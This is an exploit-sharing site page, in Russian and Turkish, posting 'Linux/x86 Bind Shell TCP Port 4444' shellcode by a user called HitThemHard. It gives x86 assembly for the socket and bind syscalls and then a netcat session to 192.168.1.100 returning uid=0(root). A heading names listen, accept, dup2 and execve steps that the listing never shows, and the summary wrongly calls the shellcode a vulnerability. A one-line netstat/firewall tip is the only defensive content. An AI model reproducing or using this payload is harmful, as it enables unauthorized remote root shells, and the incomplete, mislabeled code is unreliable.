Siber Alem / Detail / 244 / Linux-x86-bind-shell-tcp-port-4444-78-bytes-klasik
vuln_report_viewer.sh
VULN REPORT / шеллкод / ID: 244

Linux/x86 Bind Shell TCP Port 4444 - 78 Bytes (Klasik)

2026-07-21
23 просмотров
Проверено
Linux x86

Сводка

Эта запись подробно описывает уязвимость, обнаруженную в целевой системе. Эксплойт был опубликован 2026-07-21 и набрал 23 просмотров сообщества. Он классифицируется по категории шеллкод. Пользователям рекомендуется ознакомиться с исходным кодом во вкладке «Детали» для получения технических подробностей.

exploit_244.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-indigo-500 pl-5 py-3 bg-indigo-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-indigo-700 mb-1">Klasik Shellcode - Linux x86 - 78 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 Bind Shell TCP Port 4444 - 78 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Bind shell, hedef sistemde bir port acarak gelen baglantıyı bekler. Saldirgaan baglandiginda /bin/sh shell alir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Socket Bind Listen Accept Dup2 Execve</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; socket(AF_INET, SOCK_STREAM, 0)
xor   eax, eax
mov   al,  102        ; socketcall
mov   bl,  1          ; SYS_SOCKET
push  eax
push  1               ; SOCK_STREAM
push  2               ; AF_INET
mov   ecx, esp
int   0x80
mov   esi, eax        ; sockfd

; bind(sockfd, port 4444)
push  0x5c110002      ; port 4444 + AF_INET
mov   ecx, esp
push  16
push  ecx
push  esi
mov   ecx, esp
mov   bl, 2           ; SYS_BIND
mov   al, 102
int   0x80
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Netcat ile Baglanti</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
nc 192.168.1.100 4444
id
uid=0(root) gid=0(root)
    </div>
  </div>
  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">SAVUNMA Tespit</p><p class="text-xs text-amber-700">netstat -tlnp ile acik portlari izleyin. Firewall ingress kurallari belirli portlara geleni engeller.</p></div>
</div>

Профиль автора

HitThemHard
HitThemHard Элитный участник
Посмотреть все публикации

Статистика записи

Просмотры 23
Загрузки 1
Комментарии 0
Siber Alem V1 Status: Operational | Exploits: 438 (156 Verified)
Ping: 18ms Lang: RU